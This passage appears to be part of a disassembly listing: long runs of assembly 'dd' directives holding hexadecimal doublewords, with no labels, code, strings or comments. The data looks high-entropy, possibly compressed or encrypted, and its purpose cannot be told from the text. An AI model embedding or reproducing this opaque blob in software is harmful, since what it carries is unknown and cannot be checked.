0C25E514h, 9263B606h dd 4FB03503h, 4585A815h, 921325A8h, 109DC123h, 889E8610h dd 684F9DE0h, 4F431205h, 96A81672h, 28797AB0h, 1B3CF2B4h dd 72A56397h, 72B27BEAh, 0A1D5A5Bh, 0A7A94520h, 214B0305h dd 76108DEEh, 0D5FA8CFFh, 16759810h, 75434BB2h, 67F9E9F0h dd 56E321F9h, 89D65DFCh, 64445C55h, 6968A946h, 39ED0402h dd 0C00C1E9Eh, 69F06BBEh, 0B3F3F958h, 55733FADh, 0AAC2D416h dd 0EB937DBDh, 0EE65B772h, 0DE938531h, 45B32E3Bh, 3E10C803h dd 8A72C9E2h, 0C10D70BFh, 294BAD9Ah, 4D786A6Ah, 0D231E6E8h dd 0C8A86C26h, 0A43B6414h, 80A620FCh, 0BA2E900Dh, 0B2F9B97Ch dd 43CCDA83h, 0BFB61D97h, 7CF67F45h, 8456D669h, 56FED250h dd 0B290F8B0h, 0DF7E1B26h, 0A46AA263h, 0B25FD89h, 57160AA2h dd 9E6F1603h, 602C0C11h, 0FE33DE1Bh, 3067B4CCh, 19A7ED0h dd 0D1F8ED8Bh, 62B746C2h dd 566FA416h, 33576022h, 99456EACh, 76093D52h, 1C86B446h dd 0D150835Eh, 96860ACh, 6AE4FBFAh, 2F2AC0ACh, 0B1E0A77Dh dd 90B03058h, 0E0FAB53Eh, 19834BACh, 10842D46h, 9233047Dh dd 9839A1FCh, 5AAD3905h, 0DD65AB00h, 7E6A5B76h, 5345E108h dd 72D5DFB5h, 0AABE304Dh, 0DE0A5915h, 130A3EB3h, 9CD39AEBh dd 0C73E5EFCh, 0A8B0FD5Ah, 4DED0123h, 0B6F7F497h, 0CE9C5F8Dh dd 73874367h, 5865EB8h, 0D9D63DAEh, 0F559AE5Ah, 0BFAC4577h dd 82EB8CC1h, 8A86D719h, 5FC9329Ch, 0C645B847h, 6D78A38Fh dd 0E060F8EAh, 3539541Eh, 0DC52994Fh, 0C05B813Ah, 4BD724ACh dd 6CF9B6BBh, 42D17735h, 2EC46D8Dh, 13ECBBEFh, 0D22D1BACh dd 0D1F14FB2h, 0B9457ADBh, 394DF848h, 9A7CFA05h, 12D84EF5h dd 1632D13Bh, 7C79446Fh, 7231BAFEh, 0D0F52D58h, 0C36B9772h dd 8E5B9D8Bh, 82D1B5BEh, 5AF70A96h, 0F85E6102h, 0B8F07315h dd 5E0D89B2h, 0BC880360h, 5AF468E2h, 5A9921C7h, 0F9ABA9CDh dd 81763591h, 0F8FD98B8h, 7832C564h, 61A25B79h, 539BB6EBh dd 2AF855B5h, 0E1FAB268h, 303EBA27h, 3946429Eh, 56C8AD00h dd 0B52FB6F0h, 15C469F6h, 7822C2ACh, 0B30A67ADh, 2C860CB3h dd 7F8F3A3Dh, 9DB835ADh, 61C68608h, 0BCE6F16h, 0A2D1CD79h dd 11974D33h, 54A62210h, 0E13FF6Ch, 0EF2B4095h, 0B2970977h dd 0B4C2E889h, 2093E0DEh, 0E1137913h, 0BB7663D3h, 104E3231h dd 0B189FEF7h, 6324312Ch, 0E2BCD424h, 73470984h, 649A24F2h dd 0B6ED1C60h, 76F160BCh, 0E5B87458h, 11977BCCh, 60C26AAEh dd 0C279F28Bh, 5BF9B97Dh, 0AE8BFEB1h, 0CFF978D2h, 3C33E534h dd 83B532F8h, 34E57F1Ah, 10B4B896h, 2C6E4A9Ah, 35B22911h dd 0AC600D4Dh, 0F4319282h, 45033B77h, 21F99F08h, 0D1CA2C24h dd 0BEF2EFF8h, 63623597h, 280EF537h, 0A06E12C8h, 78366271h dd 3296FADh, 7860CE04h, 88FC1017h, 0C6947FC5h, 0F090252Ch dd 29698D7Ch, 0FFF7D4EAh, 390E9E1Ch, 0C940EC43h, 0C5CE4C77h dd 9E0BCEBDh, 3A7A7F4Eh, 0F59274F1h, 0A4478138h, 4B49861Dh dd 20BC93EDh, 82871CC0h, 0D9A7CD81h, 603AEBFEh, 0AC122D7Bh dd 6CF301DAh, 6D4B2149h, 56844430h, 7E2760B4h, 150B0D17h dd 367713EFh, 0DB5E8F9Dh, 0A260DFC7h, 0FC3F9C5Ch, 0E254AB89h dd 383EE7ABh, 89042B8Fh, 9B5E35FBh, 0C0B9A3A0h, 5068B4D1h dd 0B92FBA5Eh, 21B27C30h, 47502480h, 0D8971D38h, 4C755582h dd 724911EBh, 331056FCh, 0CDEBE9C7h, 5E75F25Fh, 1EB74C01h dd 0CFF6132Fh, 0B45934C0h, 0A41D2508h, 6F11054Ch, 55A7C696h dd 60A3B7D0h, 6ECF72Bh, 5DF1ACF4h, 0BFAA59EAh, 22FE14DEh dd 33D0BB9Fh, 0D6F9159Fh, 59C9F3C6h, 0A2B34299h, 4564BDDEh dd 465EEF62h, 0D1776245h, 0B2060D88h, 84C92ACEh, 0BBA708Ch dd 0D7432AB1h, 0C733BEB2h, 8EE81F08h, 9B1B2060h, 6B5AF68h dd 60DBB52Ch, 970BD1C3h, 0D10F4366h, 0C8AF5E3Eh, 0C0FA19C4h dd 0C4B2B76Dh, 0BCF6D100h, 8F4CEE0h, 3829A376h, 9E3A76A0h dd 83E59ABCh, 8580E0F1h, 98501BB0h, 6C915B66h, 850DBCE3h dd 895FABE9h, 7C3C677Dh, 0EE16D1ADh, 597171AFh, 5E665AB3h dd 291949E3h, 6EE2B51h, 29ABEB2Dh, 0A9E39EFFh, 0C35D614Eh dd 2804F51Bh, 948A1AAFh, 970B6C6Fh, 43E41BDAh, 32060EFh dd 8D3A7EC3h, 52C9D77Eh, 4200FCA6h, 6EA5AE8Bh, 4BF31797h dd 893210C8h, 0A3E783E2h, 543AC8F6h, 259085A3h, 0CA36A138h dd 0B8FBC379h, 0C7A27237h, 0B9A501CFh, 909C3F6Ah, 70EDDCBBh dd 2B078B79h, 0E0A357E2h, 0D500F097h, 0CE8ADDFAh, 0AA2F7AE8h dd 60BD3BE1h, 103BE6A8h, 0C4CAF37Eh, 0B77C118Eh, 0FD58B577h dd 1BB59B08h, 3732080Dh, 9582FB18h, 16256137h, 0FEAFC49Ah dd 0F8884FC0h, 1B0B4B29h, 3F6EBB9Ch, 0D66182C8h, 3D37A040h dd 0C8667292h, 0E999D913h, 89C7A1C2h, 8926E212h, 33076999h dd 0CCC951D3h, 1638948Ch, 0F9AD6DBCh, 0E2B8971Eh, 5F884783h dd 0B83E5A67h, 0D13618F5h, 0ABF4E3D6h, 7FA7ECA8h, 0FFB2A0Fh dd 0D9518FBFh, 751A6F2Dh, 94C02EC4h, 0DE031E51h, 34158369h dd 9D2EEB2h, 528C7A99h, 36D83FBBh, 0BC196525h, 0C65CEB57h dd 93C06D68h, 45DA04F9h, 6D18E66h, 4590E4ACh, 47AF6A85h dd 137B4D48h, 755F96D5h, 997D7BC2h, 26669812h, 0F710FAF4h dd 0EBDE39BAh, 5E853F7Fh, 0AC54FE7Fh, 0EAAC1D7h, 0AA3ECF59h dd 0B46EFFC7h, 2CB94CACh, 70B372D7h, 0A9961CF4h, 264AD1DBh dd 150EF79Ah, 5AB01BAFh, 19594B3Eh, 3D0E0877h, 0B34DB655h dd 0D1D41371h, 0F1446522h, 5B4747A7h, 1463C536h, 4C85162Ch dd 629A1D5h, 81603063h, 0F9D5A0EFh, 4CDA7E26h, 6ED7CFC3h dd 4911ED36h, 0D3210DDAh, 9980C163h, 16DA0B52h, 0C8428665h dd 7DBF7627h, 4E9A3A3Eh, 0F2EF032Ah, 0BE48AD82h, 11ED33FFh dd 486E883Ch, 66D567E0h, 0A4619DB6h, 59E2ABC9h, 67A6912Dh dd 0ACEFB886h, 9CB7070Eh, 9583864h, 2EFAB838h, 0DFF60386h dd 0E8C27552h, 8B9681FBh, 8DDCD16Eh, 0C16B9BCCh, 2F847A4Dh dd 0F19B160Eh, 427AF69Eh, 0B60CF0BEh, 58FE16D8h, 95E89C73h dd 9DEA2A8Fh, 0D9292A8Fh, 47910F7Eh, 3AD5D1E2h, 640EB537h dd 582C5F80h, 0BB4B91DFh, 32B7CA75h, 2DD6C060h, 2130154h dd 0C06527ADh, 150808Ch, 76A6020Bh, 9021B019h, 21A4CAA5h dd 0A4A544B0h, 5463023h, 57481032h, 0B0216415h, 46C99556h dd 0CEEA84E0h, 0AA360418h, 0E408B194h, 6E4294A9h, 20A60554h dd 22815660h, 0A605476Eh, 1516021h, 15360227h, 579B8198h dd 0EF627CF7h, 6B818AD2h, 5719F89Bh, 0BBA0A5C6h, 0E242CFD7h dd 0D189EE9Ch, 7389C51h, 9384C750h, 81167CF8h, 0B695F5B2h dd 884A2E68h, 975832C3h, 0DD590C4Ch, 0BF5527BAh, 73AF5FE7h dd 0EC1F833Fh, 883AB694h, 96617B8Fh, 0CC675FBEh, 60131347h dd 0AA0169A5h, 4F879A1Eh, 0C78E7F37h, 39FC3DE7h, 810B9F0Eh dd 1154B992h, 0EE0F1295h, 7C3FC652h, 3C808C15h, 0C559FF3Dh dd 0B425A7BBh, 12E892F5h, 8A258F7Fh, 2C335F9Dh, 0EEC5478Eh dd 562EA53Bh, 6796ACD2h, 8E8EF5F2h, 4D6B8F99h, 0E3893D62h dd 86977E25h, 8BDAE971h, 0A6E0DDF8h, 0FC1FA1BFh, 0D2D6287h dd 26FE6781h, 1F70E2CFh, 4B7C06FFh, 0B0307B29h, 0BE386FF1h dd 843CBBF1h, 0BC5ADAF8h, 67D590DBh, 0CA7E57CCh, 0E80F97C5h dd 9A3434F3h, 0E7D4163Bh, 0B33932D2h, 0D79DEDC4h, 0CA349729h dd 829C6EBFh, 0DB5871A1h, 9E302A19h, 5A815561h, 29D4031Eh dd 0FB809819h, 7B59D4DBh, 43A9278Eh, 0E6FF286Ch, 19E2EFF2h dd 6897FBF6h, 1EBDA326h, 5CFBEEB6h, 7ED79728h, 75CA917Fh dd 26347342h, 934E0EC3h, 0CE127EF8h, 0F706B835h, 0C1AFC4EFh dd 7867997Bh, 63261542h, 9CBA0EEh, 0DF2F0D0Bh, 0AC9249F3h dd 27EA6830h, 0C19E666h, 4C66A872h, 78790DF6h, 0A167283Eh dd 9B0AC430h, 66925FEh, 11F46DDFh, 6021985Dh, 0CD260345h dd 8561926Fh, 0D5CBD374h, 7A46F97Ch, 0B33A1E6Ch, 589743E6h dd 82F2B6B4h, 0DDC3CEB6h, 82D882C2h, 3483707Eh, 0CD24BA94h dd 3F2BEDE8h, 0D707BECCh, 5C95E70Eh, 2D72572Bh, 0A2EFA4AFh dd 5D8E56B5h, 0C8D76323h, 8D962DF5h, 7865D4Bh, 8A72A3D1h dd 4547EFB1h, 4A7B95D6h, 62625A00h, 0E4888B33h, 0F999B8D8h dd 7EE10C63h, 850D1F4h, 7406D833h, 95D628A5h, 0F100DF64h dd 0D8437FBBh, 0BAE5AB3Dh dd 6289AC58h, 0E651397Fh, 0A6C588CDh, 7B5F2EF8h, 0B56BF731h dd 0D96AD7ECh, 0E2B98C2Fh, 0B20EEA46h, 9EBD757Fh, 720FAFBDh dd 0C27A299Bh, 2A4258A1h, 64DCFED5h, 58AEFB59h, 959F1F6Ch dd 0BAF819EAh, 0B1B3CBECh, 5E3E7EF8h, 0C7D755A1h, 9DD7E18Ch dd 0DFC3198Fh, 0FA176BA3h, 0A0CFB67Fh, 0ECA56D26h, 0B9D94ADCh dd 7D8E0DBEh, 0C22569C7h, 9FA66A99h, 0CA4FC994h, 0C943EE4h dd 6ABFA331h, 0A57BC19Fh, 0CBF18004h, 8C14893Bh, 0B68249F2h dd 112FC9Ch, 2CA40C2Eh, 87930772h, 0F8BE229Ch, 0B5860335h dd 5886B7E6h, 4EABE0FFh, 0AAAF9C51h, 0E9CF7F97h, 49E2E749h dd 0DB624F71h, 97003ED9h, 0FF15EA73h, 3AC26A6Ch, 8275804Eh dd 0A3B25CC4h, 0F7D09ED3h, 0F11908EBh, 0A7059050h, 8A6EAEF1h dd 80CD09F1h, 0D05D97C6h, 6EBE3BD2h, 0EB6F9D13h, 0F58FD237h dd 2A71C715h, 0FCCB63DEh, 96C7A336h, 9B9C2D91h, 259BEFACh dd 0A01BEE2h, 71EF7A0Bh, 0B1DE94Fh, 4FFB140Eh, 0FE0B105Eh dd 258A6C48h, 0BC2D6D8Ah, 0CDD11A69h, 89E42B3Bh, 0F5F5491Ch dd 5758B0F3h, 5993B1B0h, 0D78C4F2Dh, 321D56B1h, 0F5D367Eh dd 0C2A0A76Eh, 0D7182B75h, 2D7AB7E1h, 0D41AB85Eh, 0D27E0993h dd 0CB95A81Eh, 6937FB5Fh, 8371E2B2h, 79E6C35Eh, 676ABCD8h dd 32E9769Fh, 58F38DC3h, 0FF464EB9h, 96BD162Bh, 0B139CB73h dd 0D5D8F506h, 263E4F3h, 970AFD95h, 532E1F8Eh, 0BEE1AB7Dh dd 0D0DF70D5h, 117B831Fh, 0DCCF97DEh, 528E2F05h, 5455403Ch dd 0A190ECFFh, 510A053Eh, 0AF7D2EC6h, 96AF7D96h, 4C6C0F7Dh dd 85BFCB06h, 84A8C2C0h, 21939807h, 0D444D754h, 26FC0D6Ah dd 0E26F3836h, 15BADE28h, 0DA2B8DF0h, 7399E050h, 2DEAEF09h dd 92CC3E17h, 465F7ADAh, 7E78355h, 872C7062h, 0D79BFF08h dd 0F3BA3E72h, 96BCD9DBh, 4FD01BD5h, 5076CB43h, 52770BF0h dd 0E3C61F17h, 51D5BB93h, 0DC2F394Ch, 5CDF63F6h, 89C68410h dd 0C28962BBh, 809D9B2Bh, 6D764766h, 0E2108A16h, 766A0EECh dd 0D9BC4A62h, 59B1FF71h, 0BD9B85EBh, 75FB7C4Dh, 5FF3D9ACh dd 6819B370h, 5DEDE376h, 18CB7D9Ah, 9AD868D3h, 1AC160A7h dd 3EDE15F8h, 95E55C4Ah, 2B55EA2Bh, 998C40FAh, 6B6D51B0h dd 42CF39D3h, 44A16799h, 0BA647358h, 6D8D2189h, 5D702411h dd 26F0D223h, 0CA3B13DAh, 1D3472h, 87B7C4B3h, 0A03ADDF4h dd 0CB60347Ah, 6438EF50h, 0FBD1F70Ch, 2C06367Ah, 0D871B991h dd 19D63FB6h, 860265EDh, 0C95F938Ah, 0D6050809h, 37E98D1Eh dd 87BB9797h, 0D79D3EF4h, 5AEBA88h, 7DF6E268h, 0A82713CEh dd 395F7139h, 0B0305C4Fh, 77766F16h, 37C937E2h, 0B44E574Ah dd 0EECBAEEEh, 0E9C6B604h, 8F3685BAh, 48B873ECh, 0A5F54CE6h dd 65F258F2h, 5C6F8FB0h, 0BE5C24E2h, 0E1849F5Ch, 0F40FABE2h dd 32ED4849h, 8A65F0FAh, 1A5F434Bh, 9089902Fh, 0C48A21E5h dd 5EAA12E3h, 0C714D07Ch, 1E78BED0h, 0C31490DEh, 0AEBFD6A7h dd 7E5A1831h, 0A0E18C6Ah, 0EF8FBC75h, 8F7A2B91h, 8C8341C2h dd 649759FAh, 2062980Dh, 597D44D0h, 0C041903Bh, 15B80B2Dh dd 8A41E098h, 10F5CDF8h, 8A39AEEAh, 0C1AFC2E9h, 2B746F7Bh dd 9DC0143Eh, 0EC3EB9FDh, 0F1861799h, 0C20BD69Ch, 18188978h dd 4FC3144Bh, 35AEC674h, 154995F7h, 0DCFC99B2h, 0F6AD7A0h dd 0ED582F85h, 58B6C50Fh, 33E378A2h, 660B76AEh, 18B2DEFDh dd 0ABD7F4A5h, 98D839F5h, 0FD1B8A00h, 0FEB1519Dh, 6F29D3Dh dd 0C12CF171h, 0F171302h, 0E29B1D5Ch, 0BC53C4Dh, 902D8CE4h dd 6B2AC69Bh, 0B5B5435Bh, 0D50B3E1Ch, 8A377106h, 0F223D252h dd 9BDBEF22h, 5B4C53A8h, 0BFE45CFFh, 0D3AB1FAAh, 0BEEE5CD5h dd 0DD40BB1Fh, 9BFCFDF0h, 20ECACF3h, 0AB616CC6h, 0CE69AB29h dd 95F215D7h, 0EF467CC8h, 0B7F3B088h, 74AA2DBFh, 57D8C428h dd 16C57F71h, 565EDA54h, 9573DEBDh, 7395CE3Eh, 0A7FC1A75h dd 359A1005h, 0D9AABFBh, 0E7381AD6h, 0A4AC086Ch, 0AFE12EFAh dd 2AEBE927h, 22F6FCB6h, 0E6839B9Ah, 0FC05CD1Ch, 9F491DE1h dd 1FE091EBh, 6BF485Dh, 0F229E8FFh, 84FE114Fh, 262BC317h dd 77CA203Bh, 0B61E2F34h, 98AB90AEh, 6FC63DC5h, 0ACC47AE1h dd 19E8E22Bh, 3A49E37Fh, 0FDC51656h, 47015D7Eh, 0B514ED78h dd 305455Fh, 0DF8A2E4Eh, 6EB428F5h, 0C69C970Ah, 42B8D3B1h dd 8A76A8C4h, 0F13B1B30h, 6903D57Bh, 8E14EB2Ah, 8B25EFC3h dd 57B887h, 0AEDB6E08h, 0B1D9E6A6h, 0CF54D4FAh, 6BEA564Dh dd 758BC22h, 8F5CDE69h, 0D7638D8Eh, 0EE292EA2h, 0C47DFAB1h dd 0B5F5BBB0h, 3FAD8B34h, 4073F506h, 47569EDEh, 1EC3D852h dd 34BF01F7h, 1BEBF7DDh, 409D4F55h, 6B70EBF1h, 0C19FCC96h dd 97F63540h, 9AE4A5FCh, 233D8858h, 0C24444CAh, 29C186AEh dd 7965A91Eh, 494F3B5Ch, 0CB50573Bh, 844BF079h, 0C20851CAh dd 3C050166h, 0B125D7CAh, 0D2C0C1A2h, 91C4ECA3h, 8CA5D7CEh dd 7322B75Eh, 109A2B74h, 46CA3C3Fh, 0FE836448h, 0F835F89Dh dd 34438146h, 0EE0CB3F8h, 5D997385h, 66CF084h, 66D4403Ah dd 9C0E594Bh, 9CE52D44h, 1A61E149h, 75CC9DB7h, 2CB47ECBh dd 3FDB2A8Ah, 17F55A95h, 60CA89D4h, 687B0F20h, 1D19FF1Bh dd 8AD847Dh, 0B6C96936h, 0C6D96EF2h, 4650AC33h, 54368C7Ch dd 95D20C1Bh, 0E31A7530h, 0C63D0E8Ch, 7D162EBAh, 0C37F6DD8h dd 0A62BF048h, 2E55F913h, 77E7EA17h, 43950BE9h, 6F40F678h dd 7BDEE944h, 0A23748B5h, 9B888254h, 0B2CEBC46h, 8E353019h dd 831C7AE7h, 21A621Fh, 0B3BE963h, 8A96A67Bh, 7AE0E7F4h dd 71B3AE7Ch, 605C3181h, 71B0170Ch, 5AEEC81h, 5102F5B2h dd 0EE2A867Eh, 0B12C522Ah, 0EABF98E3h, 66EC2F58h, 0DA0F5655h dd 7E737659h, 0FA3B3202h, 0C9460270h, 88A30308h, 4B53A77Bh dd 53B9884Bh, 0C49641C4h, 87125961h, 0DBF0A8DDh, 32DF8C33h dd 1BF11278h, 4D4EEB23h, 0C1D75901h, 0F0778F2Ah, 50AD84D1h dd 237D03F1h, 0D18B9ACDh, 8D11FE19h, 37C53BDEh, 0AB49C695h dd 7AE5B971h, 0B06F553h, 53E019C5h, 0A98855E4h, 0BFEC572Ah dd 0D767FF6Eh, 8738D4CDh, 62684B9Dh, 1E372C3Bh, 0EC9098A8h dd 0A00FAF4Bh, 0AABD9180h, 0F8104FF5h, 0F86D91C9h, 6F217D1Fh dd 9CE2EEB6h, 0ED0CC0CCh, 36FE4932h, 7A1B7182h, 0ECF275DFh dd 0D997B22Ah, 7E5CE73h, 0F1524721h, 0F57732C4h, 7F8A5A49h dd 0C14B954Eh, 367B580Dh, 1ADE960h, 0D406CF4Bh, 0EF067685h dd 0E10DFE4Dh, 4268B937h, 1A26430h, 833374A8h, 0B1F7998Ah dd 4012930Dh, 0CE856A2h, 27621606h, 3CF3306Eh, 6D80586Eh dd 96B8EE26h, 27B17E47h, 36C767B3h, 21468A6Eh, 835FC1A2h dd 0CF75FA7h, 4840CE76h, 93922A93h, 8AF5D17Ah, 0ECD6B2EDh dd 8A6E098Bh, 592CF600h, 28D12AA7h, 49150807h, 29473B71h dd 23F2B274h, 4D5D0398h, 220FDBFh, 0D15CC430h, 264C7899h dd 59289B89h, 238D6CCDh, 3D59B336h, 0A10B4E97h, 20C6F667h dd 586FF5FFh, 0BDC611F3h, 358FF93h, 6865C611h, 7FC828ABh dd 6BF13BFCh, 51471458h, 0F5147179h, 0A8A15F92h, 4503972Dh dd 0C3C5CE71h, 46742142h, 4F3D6E34h, 4D10C518h, 77E90F5Eh dd 7DD2A6D8h, 11A3FC7Dh, 0BA14F061h, 0A2DBB40Dh, 0D772575Bh dd 8760596Bh, 0C4611001h, 0BC97730Dh, 0F6CF900Bh, 0D04DF3DFh dd 0C98DC838h, 0E85E02CFh, 0FC6997C5h, 39D79937h, 5916539Fh dd 3DD59E35h, 6F4E4922h dd 0E7839CBh, 5E1AFBBDh, 0F13281F5h, 14D3213Dh, 0B6DD0796h dd 596276Ch, 208B0C9Ah, 0BF24DBAFh, 5CB916C3h, 0F8D18E41h dd 0A7B81837h, 0BA359819h, 0E21CB315h, 35D4E110h, 0B0AC043Ch dd 0F90FDC8h, 0FF6E5E02h, 0BC1AFC44h, 913BFD7Dh, 6479A151h dd 7292E64Eh, 5B51ECA4h, 32384D65h, 63D7C4C6h, 3D6AA3D4h dd 67EB47B2h, 0CEBB51E8h, 9297EBF3h, 0A5F8E6DEh, 8965BF64h dd 73C29297h, 867A3475h, 15260D1Fh, 1018036Ah, 245F5AFBh dd 51F15950h, 0D445000Fh, 21C975DDh, 0E9424053h, 0DB2F0A12h dd 7E7D5F89h, 0FCC26D6h, 663283E2h, 0D6457E2Bh, 0CD2F7932h dd 20CADC20h, 0DF19B0BCh, 0DEBC790Bh, 589F13EEh, 151E9AF1h dd 5F89E1AFh, 0EEEF13C3h, 396EF132h, 0C4F8DEF1h, 0D7A0F8EFh dd 27C77789h, 0EF13CBDEh, 2E4758Eh, 9F1E9F13h, 6AD58DF8h dd 0CBF9FE2h, 649F6176h, 8FEA9815h, 8A59E3E2h, 673CADEFh dd 0D24593A7h, 0B679F155h, 71A6D8BEh, 39B4C872h, 0CB927818h dd 60E0ACh, 0AF769B58h, 847A9C53h, 64F04B27h, 332C9E09h dd 12FC30E3h, 9685C329h, 2A3C832h, 7072FFABh, 5A51B225h dd 7ACD399Ah, 4B3A933Ah, 3891D963h, 0CE253FEBh, 0EB899EFh dd 16592C1Bh, 0ABCD710Bh, 0D342BDB0h, 0F67299FAh, 12E32A10h dd 6A71C372h, 1A0BBD08h, 0D725EE35h, 0BFCBBB22h, 9A0F6421h dd 92CA247Bh, 0A314EF5Ch, 3F710B49h, 0C4E5A286h, 0E6575476h dd 0D3363FFFh, 0E7A9D8D2h, 7397C3F0h, 88B94497h, 0E09DF2FAh dd 62BF1B13h, 16B4C3F6h, 43E7CF8Ah, 7EE52D79h, 0FA4617E0h dd 0FEBE867Ah, 0E91B5FC8h, 0F8FDE86Bh, 0C33404DAh, 2B519B71h dd 2FA16D7Fh, 0A76EA713h, 0B5FCBEAFh, 0E06EBE83h, 9AFA3AAFh dd 0E8FB5FCBh, 357F206Bh, 1038DAC6h, 0D629A36Bh, 1B58A1C6h dd 8635F4CDh, 0D7D18EE3h, 9C75FC55h, 0AFE3AEBEh, 4436B113h dd 0FA568DACh, 7F97D00Ah, 41F1B43h, 9FE5DA1Bh, 0CFF94709h dd 9891FC18h, 89AF7FE4h, 64D6631Dh, 273318FDh, 0DDED631Eh dd 7E1884B1h, 0FB351D25h, 0CF71D4F1h, 7A4D9524h, 0F3D09D2Ah dd 431443C4h, 43154A7Bh, 0F68671FBh, 0E8ED0CE3h, 844D279Bh dd 31CA7297h, 6BF1FBA6h, 6BE74EF0h, 0E9A060C8h, 9C46E405h dd 0AC6E4216h, 0B51AAB6h, 0C9383A21h, 0E7ABD324h, 4E7A0C5Bh dd 0D9160A94h, 3C0E9064h, 2FE3B475h, 0B3FA418Eh, 1B73D51Eh dd 631685F5h, 183EE3CFh, 0E32DC038h, 87D0E97h, 14C37F0h dd 0D00F092Ah, 0C28F802h, 28191FF2h, 0FD593EE0h, 0DC23993Bh dd 0DF1742FEh, 0A1C28E0h, 0FF9C57E1h, 2E2EF9DBh, 0F049115Fh dd 0C381F945h, 0A77FE67Bh, 0F71AFC97h, 3D89B946h, 22FAD273h dd 6B0B17B7h, 5D867A8Dh, 329A711Ch, 4242F33Ch, 2115B58h dd 0CA372768h, 78AB6BAEh, 0B68F2D5Ah, 0DAD54764h, 35A7CD61h dd 444858F7h, 93112CD1h, 0AFC0BDC9h, 0FE72A9E2h, 99AFD797h dd 0A799B657h, 6DD30C7Ch, 9CF8F863h, 0E90DDCD1h, 0F48EA8A3h dd 7D202657h, 95CA6F27h, 3257F48Ch, 82EC2FD2h, 0D2250BF4h dd 0E90A7D47h, 2BD3BC37h, 238C2FD2h, 0E64E647Dh, 1723B292h dd 8A91FA40h, 0F97FD218h, 5FF48521h, 0EDC4CC9h, 1FF4B772h dd 5F2DDB1Bh, 6D7384C7h, 5CA45854h, 3C6EDD41h, 0FD88D1F3h dd 13924FFEh, 0E87AC577h, 0CB99740Ch, 73518875h, 3C83CDF7h dd 0EE788777h, 0A1EBBF0h, 0EB58EB07h, 3E213020h, 18FE7873h dd 608C472Fh, 0E68CCEB3h, 109959C9h, 0E97959Fh, 849598F4h dd 0F8F1EA1h, 3541F1B5h, 4033B7D4h, 0A7C5E5E8h, 5B4F026Dh dd 0BE1B4F1Eh, 0FD517C5Bh, 42B9B1AEh, 0EAB5F589h, 0E7C8E63Ah dd 0BD4E0180h, 0BDD6915Ch, 624FFCD0h, 5C09A9FFh, 0C541A577h dd 9802E374h, 34C39D86h, 0F4843DACh, 51EC6860h, 2DEAFFC5h dd 9817DADh, 3F75FA0Dh, 0E5442373h, 1448FF69h, 54B27B95h dd 79F6F88Ch, 3F046F70h, 375EF547h, 0BE6E8D61h, 1EED0891h dd 6467BFB4h, 2CD0F39Ch, 0D27FCFDh, 0D6893A76h, 0EFC7FEF0h dd 0EEFC31FAh, 80A1979Dh, 0C6EB1FAh, 5FAB1EB3h, 3B17ED88h dd 0EC818207h, 0BFC6BBEEh, 34E79B33h, 6F0925A5h, 0F4033828h dd 0B8F1AA0Eh, 4869054Ch, 0D3CC688Fh, 0E5632F24h, 6C8D594Bh dd 23626564h, 3191B92Bh, 98E6B73Dh, 0D3FC5EF8h, 4D4F0C03h dd 0BC4D4F0Ch, 7EF2C717h, 396BCB1Dh, 0F9E3BF9Eh, 2290B9B1h dd 4B3F116h, 90661A8Bh, 365885F9h, 5D00C3E2h, 0E0590B5Bh dd 63379631h, 0F1BB0486h, 0F1BBB071h, 7604FFADh, 2BB07175h dd 0DD814079h, 76018B8Ch, 1BB07119h, 119760CFh, 7C0B6AEBh dd 1CE8C9DCh, 3C718235h, 758C7182h, 9945C1D1h, 1C39A3B2h dd 764203C7h, 0F2C5E7F1h, 0E64EF259h, 748DA500h, 66C9829Dh dd 0F90902D2h, 0E5A3EB46h, 0B99252DDh, 3FBA58BEh, 0DD53A8DFh dd 3E015FDFh, 6599BD3Fh, 0F8CE900h, 84AFADD3h, 5B13EBF8h dd 6FB13DFFh, 3FBBEC73h, 735A5281h, 49B3A89Ch, 4A070A42h dd 63EAF51Eh, 0A48E689Eh, 13C73659h, 0F3C4B041h, 6BD2D122h dd 0F9D7AC62h, 0D2F17A5Ch, 2991239Eh, 36ECEE8Bh, 0F119CC7Ah dd 0BBFA2600h, 0C35E4D36h, 61AF20BEh, 9CADE05Fh, 769371A1h dd 6610FDD9h, 773993Fh, 934E18Dh, 1301C94Fh, 0E9859A7h dd 6587130Bh, 0A4B7084Eh, 0B9A1E2F1h, 0F5A34702h, 0FA8CABD1h dd 34702816h, 0E097FD59h, 0BC3645CAh, 0E2BC3642h, 877C2905h dd 1D6C5DBCh, 38EAE985h, 0FD7615D2h, 7CCD0C1Bh, 0C7E6CB88h dd 6090F0F1h, 1BF1B3F5h, 1915B683h, 54417CF6h, 0F29E3E01h dd 9CCFCB98h, 0A8F2BEB5h, 2BA49221h, 0E6584DEBh, 96E8633Fh dd 9B278C6Ch, 8FDD8196h, 7490CB74h, 94190CC1h, 83EB7B41h dd 0B6FFFC6Fh, 70919F26h, 0A4347EB2h, 67A7ACA0h, 0CF80979h dd 805128C3h, 74A59CD9h, 8C920D5Fh, 20EB3430h, 5886029Eh dd 0B1C5FE01h, 9D0D1BB9h, 90B9F842h, 0DE82AE70h, 7504196Ch dd 0BFC1C360h, 0DE727F1Dh, 4D8842D0h, 0C31D85A6h, 0FD1645C4h dd 7BB1F89Ah, 530F6F16h, 6E98EB74h, 0EA94E390h, 0A2413253h dd 0C2C92E83h, 0AE1948B1h, 3E7B92CDh, 0A05DF38Bh, 0EB57D1Ah dd 5F8D6D30h, 0F69FBD11h, 306BCB7Bh, 681A3A83h, 0CB3CF68Dh dd 50F6BC63h, 0BD047220h, 656E8ACAh, 1895C16h, 0C3723D64h dd 0F83D7234h, 4F50DB15h, 42204365h, 2A6F8B14h, 32A34C7Dh dd 3836B6A7h, 9144A03Ah, 6CF32820h, 0BB8EFC99h, 2B19CED2h dd 4F9B380Bh, 0FDF99C99h, 36145D0Ch, 0B2D8465Eh, 4B5E731h dd 0BACB9E7Ah, 6464A589h, 5D4B117h, 7E4B6C04h, 837AD7AAh dd 0D6CE7FBAh, 1BCBF3F9h, 488E0B02h, 0FE212F97h, 0FC5F8E52h dd 4814BD3Bh, 7F7EA6F2h, 4399D0E6h, 7995D4E7h, 9DDD0245h dd 16989DD5h, 0CA912EEBh, 41A71A1Dh, 4702B192h, 561920EBh dd 73057AA8h, 0BF15F8E3h, 61F05FEh, 0D830F8FBh, 0C74187C7h dd 0EAFCBA47h, 0F0314BD9h, 7213B119h, 0E44E8573h, 0B45299FCh dd 0B7B148ADh, 0C12EAB89h, 6F56E09Fh, 6046E32Ch, 1828AE72h dd 97971258h, 2CA8C53Fh, 8FF323A1h, 56D625E8h, 0E51ACA40h dd 4F1C423Ah, 68E4B450h, 0EC30E4ECh, 